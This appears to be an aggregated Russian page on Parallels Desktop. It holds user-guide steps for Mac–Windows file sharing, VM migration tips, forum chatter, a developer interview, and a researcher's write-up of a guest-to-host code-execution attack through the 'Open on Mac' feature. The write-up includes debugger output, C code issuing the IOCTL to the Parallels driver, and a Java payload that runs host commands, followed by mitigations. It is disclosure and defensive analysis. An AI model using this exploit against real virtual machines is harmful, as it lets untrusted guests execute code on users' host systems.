Где хранятся файлы windows в parallels

Обновлено: 06.07.2024

Parallels Desktop позволяет настроить общий доступ к файлам между Mac OS X и Windows, чтобы вы могли с легкостью открывать файлы одной ОС с помощью программ другой.

Примечание. Эти инструкции также применимы к OS X и Linux.

Доступ к папкам и файлам Mac OS X из программ Windows

Если включена функция общего доступа, то при работе в программах Windows вам будут доступны все общие папки Mac OS X. В окне открытия файлов (в большинстве программ оно открывается с помощью меню Файл > Открыть) общие папки Mac OS X отображаются как сетевые ресурсы и имеют пометку "psf."

Чтобы включить общий доступ к папкам между Mac OS X и Windows:


  • В строке меню щелкните значок Parallels и выберите Настроить.
  • Если вверху окна показывается строка меню Parallels Desktop, выберите Действия > Настроить.

PD_CE_Sharing

  • Чтобы включить общий доступ только к домашней папке, в поле Общий доступ к папкам выберите Только домашняя папка.
  • Чтобы включить общий доступ ко всем папкам Mac OS X, выберите опцию Все диски.
  • Чтобы открыть доступ к определенной папке, нажмите Выбрать папки, нажмите на значок плюса и выберите нужную папку. Чтобы добавить еще одну папку, снова нажмите на значок "плюс" (+).

PD6_Adding Shared Folder

После добавления папки Mac OS X в общий доступ для Windows вы можете:

  • Закрыть ее для общего доступа, сняв флажок в столбце Вкл..
  • Изменить имя папки, под которым она отображается в Windows. Для этого дважды щелкните имя папки в столбце Имя и введите другое имя.
  • Запретить редактирование этой папки, нажав Чтение и запись в папке Полномочия и выбрав Только чтение. В этом случае вы не сможете сохранять файлы в эту папку.

Примечание. 1. Для включения общего доступа к папкам необходимо, чтобы была отключена опция Изолировать Mac от Windows на вкладке Безопасность диалогового окна Конфигурация.

2. В случае с Linux общие папки подключаются к папке / media/psf или /mnt/psf .

Совместное использование папок Mac OS X и Windows

Вы можете настроить Parallels Desktop таким образом, чтобы Mac OS X и Windows использовали одни и те же папки для хранения музыки, документов, изображений и т.п. То есть, если вы, например, сохраните файл в папку Документы, он будет доступен в этой папке независимо от того, с помощью какой программы вы его открываете (Mac OS X или Windows).


  • В строке меню щелкните значок Parallels и выберите Настроить.
  • Если вверху окна показывается строка меню Parallels Desktop, выберите Действия > Настроить.

Ваши папки Mac OS X Рабочий стол , Документы , Изображения , Музыка , Фильмы и Загрузки и Корзина будут объединены с соответствующими папками Windows.

Просмотр объектов Windows в Finder

Если Windows работает в режиме Окно или в режиме Полный экран, вы можете просматривать файлы из Windows в Finder.

  • В Windows щелкните правой кнопкой (или используйте комбинацию Control+щелчок) файл или папку и в открывшемся контекстном меню выберите пункт Показать в Finder.

В окне Finder вы можете, например, пометить объект цветом или перетащить его в другую папку.

Примечание. Эти действия доступны только для файлов, находящихся в общих папках.

Доступ к папкам и файлам Windows из приложений Mac OS X

По умолчанию вы можете просматривать все свои папки и файлы Windows из Mac OS X. Диски Windows подключаются к /Volumes . В то же время Windows отображается как жесткий диск, подключенный к рабочему столу Mac OS X.

  • Для доступа к папкам и файлам Windows дважды щелкните значок диска. Этот диск также доступен из приложений Mac OS X.

Примечание. Если диск Windows отсутствует на рабочем столе Mac OS X, откройте меню Finder > Настройки > Основные и включите опцию Подключенные серверы.

Чтобы отключить Windows от рабочего стола:

Примечание. Если Windows запущена в режиме Окно, откройте меню Действия и выберите Настроить.

Примечание. Диск Windows исчезнет с рабочего стола и из окна Finder, но вы по-прежнему сможете просматривать все файлы и папки Windows с помощью файла PVM и программы Терминал ( /Volumes ). По умолчанию PVM-файл расположен в папке / Пользователи/<имя_пользователя>/Документы/Parallels/ или / Пользователи/Общий доступ . Кроме того, PVM-файл можно найти, щелкнув правой кнопкой имя виртуальной машины в центре управления (или окно виртуальной машины, если она выключена) и выбрав пункт Показать в Finder. Для доступа к файлам и папкам Windows щелкните правой кнопкой мыши PVM-файл, выберите Показать содержание пакета и откройте папку Windows Disks. Чтобы отключить просмотр файлов и папок Windows, отключите опцию Разрешить доступ к папкам Windows с компьютера Mac на шаге 3.

Ситуация крайне редкая, но все-таки. понадобилось перенести существующую виртуальную машину Parallels Desktop на другой компьютер Мас. Имея опыт работы с VMWare и VirtualBox, предполагалось, что и тут будет не сложнее. Действительно, все оказалось просто, но есть нюансы. Вот об этом и будет сегодняшний рассказ.

Предположим, вы купили новый Мас, установили на него Parallels (надобности разные бывают и не всегда есть возможность полностью отказаться от Windows). Софт на виртуалке может быть крайне специфический и сложный в настройке, потому очень не хочется все настраивать заново, тем более что есть возможность её просто перенести.

1. Находим нужную виртуальную машину на жестком диске Mac (по умолчанию она находится в ваших Документах в каталоге Parallels и имеет расширение .pvm).

файл образа виртуальной машина Parallels Desktop

Помните, в начале статьи я говорил про нюансы? На самом деле нюанс всего один - просто скопировав и положив файл виртуальной машины в такую же папку на новом компьютере мы цели не достигнем, виртуальная машина "не взлетит". Так что читаем далее…

2. Копируем файл .pvm на внешний жесткий диск (для экономии времени) или переносим по сети, предварительно сделав общий доступ на одном из маков.

3. На новом компьютере Mac запускаем Parallels Desktop и открываем Файл --> Перенести --> Внешний носитель данных.

перенос виртуальной машины Parallels Desktop

перенос виртуальной машины Parallels Desktop

4. Остается только указать копию файла нашей виртуальной машины и следовать инструкциям на экране. Писать больше не о чем.

Яндекс.Дзен и узнавайте первыми о новых материалах, опубликованных на сайте.

Если считаете статью полезной,
не ленитесь ставить лайки и делиться с друзьями.

Мнение: iPad который бы я точно взял Новая технологическая революция от Apple и что теперь будет с Intel и AMD Как разобрать Apple Wireless Keyboard Tunnelblick - OpenVPN клиент для Mac OS X Обновились MacBook Pro 2020 года. и это какая-то боль Как записать видео с экрана Mac

Комментариев: 3

Здравствуйте, тема может уже устарела, но для меня на данный момент актуальна) Подскажите, перенесется ли вся инфа с одно mac (включая Parallels) на другой, ведь при установке Parallels, из памяти часть выделялась специально под эту прогу? в общем не совсем точно конечно сформулировала, но думаю Вы меня поняли;)

Видимо в новых (пробных) версиях нет пункта перенести. Как быть?

В новых версиях нажимаем файл, создать, перенести Windows с ПК выбираем сохранённый файл и все

В этой статье я расскажу небольшую историю о «побеге» из виртуальной машины Parallels Desktop 10 для Mac без использования каких-либо уязвимостей.

image

Автор: Дмитрий Олексюк aka Cr4sh

В этой статье я расскажу небольшую историю о «побеге» из виртуальной машины Parallels Desktop 10 для Mac без использования каких-либо уязвимостей. Атака не связана с брешами в гипервизоре или в низкоуровневых коммуникационных интерфейсах между Guest и Host и может быть реализована при помощи простейшей вредоносной программы под Windows, если в виртуальной машине установлены небезопасные настройки.

Суть проблемы

Для меня всегда было очевидно, что расширенные возможности для коммуникации с гостевыми операционными системами (практически во всех современных системах виртуализации есть подобные операционные системы) могут таить в себе потенциальные угрозы безопасности. Наконец, недавно, я решил проверить, какими конкретно могут быть эти угрозы на примере системы виртуализации, которую я использую в OS X (как, впрочем, и миллионы других пользователей). Parallels Desktop 10 – прекрасный продукт и, думаю, в настоящее времени этому продукту уделяется намного меньше внимания со стороны специалистов по безопасности, чем следовало бы.

В виртуальных машинах в Parallels Desktop 10 есть множество возможностей, позволяющих гостевым операционным системам быть максимально интегрированными с хостом. Большинство из этих настроек установлены по умолчанию.

Рассмотрим некоторые из подобных возможностей:


Рисунок 1: Один из разделов с настройками виртуальной машины в Parallels Desktop 10

На первый взгляд опция «Access Windows folder from Mac» выглядит весьма безобидно (обратите внимание, что остальные настройки, связанные с общим доступом, отключены). Опция «Access Windows folder from Mac» по умолчанию включена во всех виртуальных машинах. Суть настройки заключается в следующем (описание взято из руководства пользователя):

Доступ к папкам и файлам ОС Windows из приложений на базе Mac OS X

По умолчанию из Mac OS X вы можете получить доступ ко всем файлам и папкам в Windows. Windows-диски подключаются к папке /Volumes. В то же время, на рабочем столе Mac OS X, система Windows отображается как жесткий диск.

Примечание: Даже когда Windows-диск не виден на рабочем столе и в менеджере Finder, вы все еще можете получить доступ ко всем файлам и папкам в Windows через файл Windows PVM и Terminal (/Volumes). По умолчанию файл PVM находится либо в папке Users/<Username>/Documents/Parallels/, либо в папке /Users/Shared. Также файл PVM можно найти, если кликнуть правой кнопкой мыши на гостевой операционной системе (в нашем случае это одна из версий Windows) в Parallels Desktop Control Center (или в окне виртуальной машины, когда работа в Windows завершена) и выбрать Show in Finder. Для доступа к файлам и папкам Windows кликните на PVM-файле, в контекстном меню выберите Show Package Contents и откройте папку Windows Disks. Чтобы отключить возможность навигации по файлам и папкам Windows, отключите опцию Access Windows folders from Mac в шаге 3 выше.

Ну, скажете вы, всего лишь расшарен файл гостевой операционной системы, что в этом плохого? К сожалению, плохого много.

После включения опции «Access Windows folders from Mac» можно заметить, что в Windows Explorer гостевой операционной системы появился новый очень интересный пункт «Open on Mac»:


Рисунок 2: Обновленное контекстное меню в гостевой операционной системы

Выглядит многообещающе, правда? Технически происходит посылка запроса приложению Parallels, работающему на хосте, на действие, эквивалентное двойному клику на целевом файле в менеджере Finder на стороне хоста.

Функционал этой опции на стороне гостевой системы реализован в файле PrlToolsShellExt.dll, расширении для оболочки (контрольная сумма MD5 для DLL версии 10.1.1.28614 в гостевой системе Windows 8.1 x64 - 97D15FB584C589FA297434E08CD0252F). Обработчик клика на строке меню находится в функции sub_180005834(). После обработки входных значений отсылается IOCTL-запрос к устройству \Device\prl_tg, связанному с одним из драйверов уровня ядра (prl_tg.sys) приложения Parallels.


Рисунок 3: Участок кода PrlToolsShellExt.dll, связанный с IOCTL-запросом

После срабатывании точки останова на DeviceIoControl()получаем содержимое стека и аргументы функции:

0:037> k L7
Child-SP RetAddr Call Site
00000000`12bcd1c0 00007ff9`2a016969 PrlToolsShellExt!DllUnregisterServer+0x1596
00000000`12bcd310 00007ff9`2a01fd71 SHELL32!Ordinal93+0x225
00000000`12bcd410 00007ff9`2a4cf03a SHELL32!SHCreateDefaultContextMenu+0x581
00000000`12bcd780 00007ff9`2a4cc4b1 SHELL32!Ordinal927+0x156c2
00000000`12bcdaf0 00007ff9`2a4c76f7 SHELL32!Ordinal927+0x12b39
00000000`12bcded0 00007ff9`21d09944 SHELL32!Ordinal927+0xdd7f
00000000`12bcdf20 00007ff9`21d059d3 explorerframe!UIItemsView::ShowContextMenu+0x298

Первые 4 аргумента функции DeviceIoControl(), rcx – обработчик устройства, r8 – входной буфер, r9 – размер буфера:

0:037> r
rax=0000000012bcd240 rbx=0000000000000000 rcx=0000000000000d74
rdx=000000000022a004 rsi=0000000000000001 rdi=0000000000000070
rip=00007ff918bd5b92 rsp=0000000012bcd1c0 rbp=000000000022a004
r8=0000000012bcd240 r9=0000000000000070 r10=000000001a5bc990
r11=000000001a5bd110 r12=0000000000000002 r13=0000000012bcd490
r14=0000000012bcd4a0 r15=0000000016af90f0

Последние 4 аргумента функции DeviceIoControl(), которые проходили через стек:

0:037> dq rsp L4
00000000`12bcd1c0 00000000`00000000 00000000`02bdc218
00000000`12bcd1d0 00000000`00000001 00000000`00ce2480

0:037> dq @r8
00000000`12bcd240 ffffffff`00008321 00000000`00010050
00000000`12bcd250 00000000`00000001 00000000`00000002
00000000`12bcd260 00000000`00000002 00000000`00000000
00000000`12bcd270 00000000`00000000 00000000`00000000
00000000`12bcd280 00000000`00000000 00000000`00000000
00000000`12bcd290 00000000`00000000 00000000`00000000
00000000`12bcd2a0 00000000`02c787d0 00000000`0000003c

В буфере находятся различные магические значения и указатель на ASCII-строку, содержащую путь к целевому файлу по смещению 0x60:

0:037> da poi(@r8+60)
00000000`02c787d0 "\\psf\TC\dev\_exploits\prl_guet_"
00000000`02c787f0 "to_host\New Text Document.txt"

После пересылки драйверу управляющего IOCTL-запроса открывается соответствующий файл на стороне хоста. Интересно еще и то, что это действие может быть инициировано от имени любого Windows-пользователя (в том числе и гостя):


Рисунок 4: Права доступа к устройству \Device\prl_tg

И поскольку целевой файл будет открыт на стороне хоста с привилегиями текущего OS X пользователя, кажется, что опция «Access Windows folder from Mac» не является столь безобидной и невинной.

Схема реализации атаки

Функция, представленная ниже, была реализована после анализа расширения для оболочки. Функция взаимодействует с драйвером уровня ядра приложения Parallels и запускает файл на стороне хоста.

void OpenFileAtTheHostSide(char *lpszFilePath)
<
HANDLE hDev = NULL;

// get handle to the target device
if (OpenDevice(L"\\Device\\prl_tg", &hDev))
<
PDWORD64 RequestData = (PDWORD64)LocalAlloc(LMEM_FIXED, 0x70);
if (RequestData)
<
IO_STATUS_BLOCK StatusBlock;

/*
Fill IOCTL request input buffer.
It has the same layout on x86 and x64 versions of Windows
*/
RequestData[0x0] = 0xffffffff00008321; // magic values
RequestData[0x1] = 0x0000000000010050;
RequestData[0x2] = 0x0000000000000001;
RequestData[0x3] = 0x0000000000000002;
RequestData[0x4] = 0x0000000000000002;
RequestData[0xc] = (DWORD64)lpszFilePath; // file path and it's length
RequestData[0xd] = (DWORD64)strlen(lpszFilePath) + 1;

NTSTATUS ns = NtDeviceIoControlFile(
hDev, NULL, NULL, NULL, &StatusBlock,
0x22a004, // IOCTL code
RequestData, 0x70,
RequestData, 0x70
);

DbgMsg(__FILE__, __LINE__, "Device I/O control request status is 0x%.8x\n", ns);

Теперь напишем полезную нагрузку.

К сожалению, подобным способом нельзя выполнить shell-скрипт или файл AppleScript, поскольку эти файла откроются в текстовом редакторе. Но есть и другие не менее серьезные угрозы, которые может осуществить злоумышленник, имея возможность открывать произвольные файлы. К примеру, можно создать Java-класс (файл с расширением .class), выполняющий определенную команду и сохраняющий результат выполнения в гостевой файловой системе (которая обычно находится в /Volumes/<windows_letter>):

public static void main(String[] args)
<
// exeute command and get it's output
StringBuilder output = new StringBuilder();
if (exec(defaultCmd, output) == -1)
<
output.append("Error while executing command");
>

String volumesPath = "/Volumes";
File folder = new File(volumesPath);

// enumerate mounted volumes of Parallels guests
for (File file : folder.listFiles())
<
if (file.isDirectory())
<
// try to save command output into the temp
String outFile = volumesPath + "/" +
file.getName() + "/Windows/Temp/prl_host_out.txt";

Используя класс, показанный выше, и функцию OpenFileAtTheHostSide(), можно реализовать рабочий эксплоит для выполнения команд:


Рисунок 5: Пример использования эксплоита

Защититься от угрозы довольно просто, достаточно отключить опцию «Access Windows folder from Mac» в настройках виртуальной машины, чтобы предотвратить возможность открытия файлов из гостевых систем.

Также можно включить опцию «Isolate Windows from Mac», которая (теоретически) запрещает на виртуальной машине все возможности, связанные с общим доступом.


Рисунок 6: Установка опции «Isolate Windows from Mac»

Дополнительная информация

· Проблема скорее относится к неточностям в документации, чем к уязвимости в системе виртуализации. Для пользователя совершенно неочевидно, что открытие доступа к файлам гостевой операционной системы может привести к запуску произвольного кода на стороне хоста.

· Эксплоит очень простой и надежный. Работает во всех версиях Windows на гостевых машинах. Атаку можно осуществить от имени любого Windows-пользователя, принадлежащего группе Everyone. Проблема также имеет место быть и в других гостевых операционных системах (например, в Linux и OS X), хотя приведенный код создавался только под Windows.

· Если подобные атаки критичны для вашей системы, отключите все возможности, связанные с общим доступом.

· Думаю, маловероятно, что компания Parallels выпустит сколь-нибудь значимые патчи для исправления этой проблемы, поскольку после изменений в этом механизме, станет невозможно легко открывать Windows-документы в Mac.

· Я экспериментировал только с настройками, связанными с общим доступом, однако, кто знает, какие еще похожие (или еще более серьезные) проблемы существуют в продуктах Parallels, VMware и Oracle.


Просмотр профиля

Репутация: 4


АLEXANDER



Просмотр профиля

Репутация: 33

Запустіть паралелз, і там з під вінди будуть монтовані ваші маковські диски. З вимкненим паралелзом ви будете бачити тільки образ (один файл) з яким ви не зможете нічого зробити. Щоб обмінюватись данними то Вінда повинна бути запущена. Можете монтувати любий диск.



Demitras



Просмотр профиля

Репутация: 4

Олександре, не зовсім зрозумів що саме робити після "смонтировать образ".
Клавіша не активна, що саме, яку папку обирати, для створення образу?

І ще: як ти зробів таку якісну вінду, якісь відео-драйвери?
Підкажи будь-ласка, а то в мене чудовисько пікселізоване, а не вінда.


АLEXANDER



Просмотр профиля

Репутация: 33


Насправді паралелс бомбова штука. взагалі не можна зрівнювати з віртуалізацією на ВМваре або чомусь схожому. ось двись ролік що я на паралелс роблю без проблем


Demitras



Просмотр профиля

Репутация: 4

Намучаєтася Ви зі мною, Олександре. )
А що, в МАС ОС можна диск розділити на декілька логічних, як на вінді?))
А як?)))


Demitras



Просмотр профиля

Репутация: 4

І ще))
Підкажи, будь-ласка, які відео драйвери в тебе стоять на вінді?

Бо в мене вона вся в пікселях, прикро


Demitras



Просмотр профиля

Репутация: 4

Піде ця гра на паралелз?)
І які треба зробити налаштування віртуальної машини?)


innokentiyK



Просмотр профиля

Репутация: 79

Ребята простите, что прерываю вашу беседу. Нифига не понял о чем речь. Винду установили через bootcamp или просто виртуалку?? Проще конечно через bootcamp и потом использовать виртуалку. Доступ к файлам и программам а также запуск винды в чистом виде через альт. Нападки на VMware Fusion считаю не обоснованными, по крайней мере у меня работает получше чем паралель ( два макбука , на одном паралель на другом VMware Fusion) Виндовс используеться для производственных необходимостей , программ которым нет альтернатив в mac os. Так вот в VMware Fusion программа 1с и другие работают без проблем ( для программ нужны ключи через USB ) а паралель через раз.


Demitras



Просмотр профиля

Репутация: 4

Та ради Бога))
Винда стоит через паралелз и проблема состоит в том, что не обмениваются данные между виндой и мас ос. Нет окна в европу
Уважаемый АЛЕКСАНДЕР предложил смонтировать образ диска, однако у меня на мас ос диск не разделен на несколько логических разделов. И у меня с этим возникла проблема)

И еще я у Александра попросил видео драйвера под винду.
Жду)

Не знаю, так как пользуюсь только паралелсом)


innokentiyK



Просмотр профиля

Репутация: 79

Советую (смотря какой мак и сколько по емкости ЖД ) Установить винду через Буткамп . Потом по желанию паралель или VMware Fusion , потом Tuxera NTFS / При установке через Boot Camp Assistant будет предложено скачать дрова для системы (обязательно загрузить на диск или флешку) Детально поиском как установить.


АLEXANDER



Просмотр профиля

Репутация: 33

Demitras якщо тобі Вінда потрібна для деяких програм, яких немає альтернатив під ОС Х тоді є сенс юзати віртуалізацію, якщо ти хочеш в цяці грати. і повноцінно юзати вінду. то постав вінду через буткемп. т.е. через офіційно яблучну приблуду для інсталяцій вінди =)

Дрова в мене наче ніякі не стоять.. все дефолтне. ОЗУ 4 ГБ для паралелза, відео 256 для паралелза. FIFA14 бігає без лагів =) але якщо хочеш юзати ігри то став Вінду через буткемп. а взагалі купи консоль і не парся =)

Щодо нападків на VMware то це вибирає кожен що йому по нраву в мене з PD проблем не виникало ні з хаспами ні з другими функціями і операціями, з VM в мене були трабли з токенами. В інеті багато спорів, що краще VM або PD але мені все рівно, в мене все працює без глюків і це мене влаштовує, правда ціну за PD вважаю трохи захмарною. можна було і дешевше зробити.

image

Сейчас в нашей последней версии Parallels Desktop 9 for Mac есть 75 новых функций. Из них 33 так или иначе связаны с интеграцией OS X и Windows. А в самых первых версиях продукта эти функции были попросту базовыми. Сегодня специально для Хабра пишем о том, что и как было придумано, чтобы Windows и Mac жили вместе долго и счастливо, зачем «внедрились» в «Проводник» и как обманули мышь.
Александр Гречишкин, руководитель Integration Team в Parallels

— С чего все началось?
А.Г.: Сначала нам нужно было воспользоваться теми технологиями, которые в то время уже были на рынке. Виртуализация и эмуляция существовали еще с 1990-ых годов, и даже были решения для работы с одними ОС на компьютерах под другими ОС. Поэтому задачи в первых версиях у нас были такие: во-первых, сделать технологии и базовые функции точно такими же, как в уже существующих решениях. Во-вторых, придумать что-то свое, оригинальное. «Своими» уникальными функциями стали режим Coherence (возможность видеть и работать с Windows-программами на Mac так, как будто это родные приложения OS X) и Shared applications (иконки программ Windows в панели приложений Dock).

Функция Coherence позволяет полностью скрыть сам Windows, оставив только само приложение. В простонародье этот режим называют «Не показывать десктоп Windows». Звучит очень просто, но чтобы реализовать эту возможность, нам потребовалась масса усилий. Это очень тяжелая технология, связанная со множеством программных проблем и необходимостью решать их нестандартными способами. Ее также сложно поддерживать. И, кстати, она до сих пор развивается.
Конечно, дальше — с каждой новой версией — нам приходилось придумывать и реализовывать все новые и новые вещи, аналогов которым не было. Но изначально половину базовой интеграции типа Mouse Synchronization, Shared folders, Copy-Paste, Drag&Drop, Time-синхронизации мы делали по аналогии с тем, что уже в каком-то виде было. Например, существовало достаточно много виртуализационных эмуляторов (под разные платформы) со своим набором функций. Выпускать новый продукт без этого набора было бы просто бессмысленно.
Конечно, мы могли бы создать эмулятор вообще без интеграции, что-то типа DOSbox (в котором интерграционных функций нет, зато он прекрасно запускает старые dosовские игрушки). Кстати, у нас до сих пор есть некоторое количество пользователей, которые работают с Parallels Desktop по такому же принципу: запускают виртуальную машину, в ней работает Windows в окне, и больше им ничего не надо.
Но, понятное дело, путь развития подавляющего большинства программных продуктов – эволюционный: сначала надо сделать базовую функциональность, а потом ее постепенно расширять. Пользователя нужно замотивировать перейти на новую версию (особенно если она платная). И не только за счет увеличения скорости, поддержки новых технологий (например, нового Direct X), улучшенной стабильности и прочего, но и привлечь интересными и полезными фичами. В нашем случае такой кастомизацией — «тюнингом» продукта — очень часто выступает интеграция – сначала так было с Windows, а потом и с другими ОС.

— И на что ориентировались среди существовавших технологий?
А.Г.: Вообще идея была такая: реализовать виртуализационную технологию так, как это сделано у Apple. В 2005 году Стив Джобс заявил о планах Apple «прикончить» PowerPC на своих компьютерах и перейти на чипы Intel. В 2009 году появилась OS X 10.6 Snow Leopard, первая операционная система Apple, больше не поддерживающая PowerPC. Но, скорее всего, у них все началось еще десять с половиной лет назад, когда Apple начала составлять график модернизации своей Mac OS и план перехода на x86.
Им пришлось перейти с Mac OS 9, заточенной под старое железо, на Mac OS X, а для поддержки всех существующих программ написать свой эмулятор. Они сделали это достаточно эффективно, с высоким быстродействием, и, что важно, эта технология оказалась очень прозрачной и «незаметной» для пользователя. Пользователь кликает на программу, написанную под PowerPC, на своем компьютере, и открывается тот же Coherence, то же самое окно под эту программу. Единственное, что в ней уживаются не две разных операционных системы, а две Mac OS – старая и новая. В общем, очень похоже на нас.
К сожалению, в то время разработчики Parallels Desktop не знали о существовании в Mac OS X технологии Rosetta – динамического транслятора для запуска приложений под PowerPC на компьютерах с процессорами Intel. Мне пришлось даже принести им свой компьютер из дома, чтобы ее показать. Принес, показал – и разработчики признали в технологии наш Coherence, хотя и реализованный иначе: что-то между Wine и простым эмулятором. И в итоге у нас выкристаллизовалась идея сделать как у Apple в том отношении, чтобы пользователю не показывалось никаких загрузочных образов и виртуальных оболочек от Parallels Desktop. Например, чтобы сразу открывался Word, и при этом обычный пользователь даже не догадывался, что это приложение лежит не в папке Application, а где-то еще.

image

— Как разрабатывался Coherence?
А.Г.: Автором идеи был Сергей Белоусов (прим. — основатель компании Parallels), он тогда ходил по офису и рассказывал всем желающим, что есть гениальная идея — убрать десктоп, чтобы все виндовые окна выглядели бы точно так же, как маковские. Мы сразу же поняли, что эта идея очень хорошая и нужно над ней работать. «Вырезать окошко и убрать десктоп» мы смогли достаточно быстро и просто. А затем вся технология представления Coherence была написана одним-единственным человеком, который до сих пор у нас работает – Сергеем Концовым. На достижение того, чтобы пользователь практически не заметил отличий между приложениями Windows и Mac, ушли годы кропотливого труда.
Доказательством тому, что идея и правда была хорошей, стало то, что ее потом у нас все скопировали. Но в начале пути мы не были уверены в том, что технология станет революционной. И хотя Белоусов нас уверял, что все будут на ней работать, мы все-таки постеснялись поставить ее по умолчанию при загрузке виртуальной машины в первой же версии (прим. — слева — скриншот с версии 2.5). Но как только поняли, что это работает и пользуется популярностью, то сразу поставили по умолчанию (с версии 3.0). И этот режим до сих пор в лидерах, им в Parallels Desktop пользуется почти 80% юзеров.
Также реализовали простую инсталляцию Windows через Wizard, чтобы пользователь просто нажимал пару кнопок и получал свою вирутальную ОС. Эта технология была заимствована у OEM-установщиков, но впервые для конечных пользователей была реализована именно у нас в продукте.
Мы так долго работали с Coherence еще и потому, что это название из одного слова объединяет на самом деле много технологий. В частности, туда входит такая большая функция, как Shared Applications, которая заставляет пользователя видеть тот же Microsoft Word как нативное приложение в Маке. Вот это и есть самое сложное. Внешне функция выглядит просто, но «внутри» скрыто много логики, над которой мы до сих пор продолжаем работать.
В Coherence вложено 15 человеко-лет – целая карьера программиста. И этот код составляет около 8% всех исходников Parallels Desktop – настолько это большой и сложный продукт.

— Что еще было так же сложно сделать?
А.Г.: Сложность может быть разная. Программная сложность, алгоритимическая, сложность понять, как реализовать вещь или как она будет работать. Часто нам приходилось идти совершенно нетривиальным путем.
Например, расскажу про функцию, ради которой пришлось влезть во внутренности Windows. Есть у нас такая технология — SmartMount. Вот в чем ее суть: когда пользователь втыкает флешку в компьютер Mac, то она появляется только на маковском десктопе. Человек, работающий в режиме Coherence, хочет полной интеграции – то есть видеть содержимое своей флешки и в Windows. Но, чтобы она там появилась, ее нужно переконнектить в виртуальную машину, а ведь делать это каждый раз очень неудобно. Мы решили использовать Shared Folders. Поскольку эта функция представляет из себя драйвер сетевой файловой системы и показывается в Windows как сетевой носитель, то, когда флешка коннкетится в Мак, мы пробрасываем ее через Shared Folders в Windows. Тогда она автоматически попадает в Network location. Но пользователю непонятно, что свою флешку он должен найти именно в Network location: он привык, что это USB-девайс, который выглядит определенным образом и показывается именно там, где и все removable media. Стандартными способами невозможно сделать так, чтобы сетевая шара показывалась в списке устройств как подключаемый девайс и при этом еще и отражалась как USB. И вот наш разработчик Василий Жданов «внедрился» (назовем это так) в «Проводник», и доходчиво «объяснил» этой программе, что вот эту вещь надо показывать именно так. И теперь у нас SmartMount показывает USB-флешки как внешние накопители.

image


Вставили флешку

image


Увидели флешку

Или можно привести в пример оригинального способа решения задачи Smart Mouse – технологии, которая позволяет компьютерной мышке адаптироваться к тому приложению, с которым пользователь сейчас работает. Если это офисное приложение – она ведет себя одним образом, если игрушка – по-другому.
В Parallels Desktop есть два режима мышки – absolute pointing device, который позволяет курсору и в винде, и в маке двигаться одинаково – с одинаковой скоростью, перемещением. При этом используется только хостовая мышь. И есть режим relative mouse, при котором мышь работает внутри виртуальной машины со своей собственной скоростью. Последний режим используется в компьютерных играх, так как они совсем не заточены под absolute pointing device. Раньше курсор в играх начинал с бешеной скоростью передвигаться и играть было невозможно. Мы придумали способ, как обнаруживать нужный режим без каких-либо привязок к именам программ, библиотек или файлов. Все очень просто: если во время работы программы на ее экране визуально наблюдается курсор – то нужен absolute pointing device. В играх же стандартный курсор почти всегда выключается и игра его рисует сама, следовательно, в данном типе программы нужен relative mode. Выбор режима мыши по этому принципу, как в итоге оказалось, работает правильно в 95% случаев.

— Что за команда делает всю интеграцию?
А.Г.: Сейчас в команде Integration работает 6 человек, и это очень разные люди. Чем-то похожие, но не одинаковые. Практически всю команду я набирал сам. Единственный, кто уже работал, когда я пришел, – это уже упомянутый «отец Coherence» Сергей Концов. Так что я стал руководителем отдела из 1 человека, где сам выступал в качестве играющего тренера.
Вся интеграция в первой версии делалась силами этих двух человек – и Shared folders, и работа мышки, и копипаст, и drag&drop, и Coherence – практически вся базовая интеграция. Чуть позже появился Василий Жданов. Потом — Андрей Покровский, который сделал Shared applications для первой версии. Причем, что интересно, он сделал это очень быстро. Когда мы закончили продукт и уже захотели его продавать, то поняли, что без иконок в панели приложений Dock основная когеренция выглядит недоделанной. Пришел Коля (прим. — Николай Добровольский, вице-президент по виртуализации ПК) и спросил, можем ли мы это быстро реализовать. И Андрей сделал это за одни выходные, написав и отладив порядка 2000 строчек кода. Приложения показывались где надо, их можно было запускать из Dock. Вот это можно назвать по-настоящему продуктивной работой.
А вот, например, у Василия Жданова, о котором мы уже говорили, очень хорошо получается реверс-инжиниринг. Он быстро вникает во внутренности программ, что очень нужно для реализации интеграции, так как в этом процессе очень многое сделать стандартными способами просто нельзя. И Василий очень любит этим заниматься: просто приходит на работу и вкалывает, не отвлекаясь на голод и самочувствие. Вообще ничего не видит и не слышит. Часто даже не знает статус проекта, ему интересна лишь его конкретная задача в данный момент.
В общем, все они умеют разное, и производительность у них разная. Но они – КОМАНДА. Они абсолютно все умеют и хотят работать, у всех обширные и глубокие знания (которые за годы работы стали ОЧЕНЬ большими знаниями), и у них очень высокий уровень программирования. За семь лет их уровень настолько поднялся, что они могут сделать практически любую задачу, какую ни дай.

Читайте также: